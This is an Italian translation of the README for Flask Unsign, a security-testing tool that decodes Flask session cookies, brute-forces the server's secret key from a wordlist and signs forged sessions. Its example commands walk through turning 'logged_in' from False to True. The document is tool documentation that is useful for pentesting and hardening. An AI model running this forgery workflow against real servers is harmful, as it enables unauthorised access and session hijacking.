Flask Unsign

Strumento da riga di comando per recuperare, decodificare, forzare con brute-force e creare cookie di sessione di un'applicazione Flask indovinando le chiavi segrete. Per il componente wordlist autonomo, visita il repository flask-unsign-wordlist.

Requisiti

• Python 3.6+

Installazione

Per installare l'applicazione, usa semplicemente pip:

$ pip3 install flask-unsign[wordlist]

Se vuoi installare solo il codice principale, ometti il suffisso [wordlist]:

$ pip3 install flask-unsign

Per installare lo strumento a scopo di sviluppo, esegui il seguente comando (dopo aver scaricato una copia):

$ pip3 install -e .[test]

Utilizzo

Per avere una panoramica di tutte le opzioni disponibili, chiama semplicemente flask-unsign senza alcun argomento:

$ flask-unsign

Ottenere e decodificare i cookie di sessione

Poiché i cookie di Flask sono firmati e non crittografati, è possibile decodificare localmente i dati di sessione. Per farlo, puoi usare l'argomento --decode.

I cookie di sessione possono essere ottenuti ispezionando le tue richieste HTTP con un proxy come Burp Proxy, usando l'ispettore di rete del browser oppure un'estensione del browser per visualizzare/modificare i cookie. Di default, Flask usa il nome di sessione "session".

$ flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'
{'logged_in': False}

Puoi anche usare la funzionalità di acquisizione automatica della sessione di Flask-Unsign passando l'argomento --server invece dell'argomento --cookie. Tieni comunque presente che non tutte le pagine web potrebbero restituire una sessione, quindi assicurati di passare un URL che la restituisca.

$ flask-unsign --decode --server 'https://www.example.com/login'
[*] Server returned HTTP 302 (FOUND)
[+] Successfully obtained session cookie: eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8
{'logged_in': False}

Unsigning (Forzatura brute-force delle chiavi segrete)

Dopo aver ottenuto un cookie di sessione di esempio, potrai tentare di forzare con brute-force la chiave segreta del server. Se sei fortunato, potrebbe essere impostata a qualcosa di facile da indovinare o, se è stata trovata online, potrebbe essere in una delle tue wordlist. Per farlo, puoi usare l'argomento --unsign.

$ flask-unsign --unsign --cookie < cookie.txt
[*] Session decodes to: {'logged_in': False}
[*] No wordlist selected, falling back to default wordlist..
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 351 attempts
'CHANGEME'

Signing (Manipolazione della sessione)

Una volta ottenuta la chiave segreta del server, potrai creare i tuoi dati di sessione personalizzati. Per farlo, puoi usare l'argomento --sign.

$ flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'
eyJsb2dnZWRfaW4iOnRydWV9.XDuW-g.cPCkFmmeB7qNIcN-ReiN72r0hvU

Risoluzione dei problemi

• L'installazione del programma restituisce un errore
  • Potresti stare usando il binario pip sbagliato; prova a usare il seguente comando: python3.6 -m pip install flask-unsign
• Ho trovato una chiave segreta, ma le sessioni che ho creato non funzionano!
  • È possibile che il server di destinazione usi una versione precedente di itsdangerous. A causa di un problema con le sessioni temporizzate, l'algoritmo di generazione del timestamp è stato modificato. Per generare una firma più vecchia, prova a usare l'opzione --legacy.
• La mia wordlist non funziona
  • Le wordlist devono essere stringhe python delimitate da nuove righe (cioè è necessario racchiuderle tra virgolette), così che le stringhe binarie possano essere facilmente memorizzate in un formato a nuove righe. Se non vuoi questo comportamento, puoi disabilitare la funzionalità passando l'argomento --no-literal-eval.

Come funziona

Se ti stai chiedendo come funziona esattamente, fai riferimento al mio post sul blog che spiega tutto in grande dettaglio, inclusa una guida su come proteggere il tuo server da questo attacco.

Licenza

MIT License

Copyright (c) 2021 Luke Paris (Paradoxis)

Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.